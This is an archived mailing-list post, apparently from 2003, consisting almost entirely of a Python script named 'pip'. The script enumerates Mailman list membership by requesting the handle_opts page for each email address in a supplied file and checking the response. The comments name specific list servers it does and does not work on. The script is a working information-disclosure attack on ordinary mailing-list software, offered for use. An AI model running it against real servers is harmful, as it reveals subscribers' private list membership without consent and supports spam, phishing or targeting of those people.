[<prev] [next>] [day] [month] [year] [list]
Message-ID: <Pine.LNX.4.44.0306130746310.2838-100000@raindrops.overflow.org>
From: trippz at overflow.org (huw)
Subject: pip
# life's a garden, dig it.
# works on lists.netsys.com, doesn't on lists.immunitysec.com
# spose they fixed it!
import sys,urllib
if len(sys.argv) < 4:
print "pipermail enumeration"
print "./pip <host> <list of emails> <name of list>"
sys.exit(0)
host = sys.argv[1]
list = sys.argv[3]
emails = open(sys.argv[2],"r").read().split('\n')
for t in emails:
member = 0
# print t
req = "http://%s/mailman/handle_opts/%s/" % (host,list)
req += t
sent = urllib.urlopen(req)
data = sent.read().split('\n')
for r in data:
if r.find(t) != -1:
member += 1
if member == 0:
print "%s is a member!" % t
else:
print "%s is NOT a member" % t
Powered by blists - more mailing lists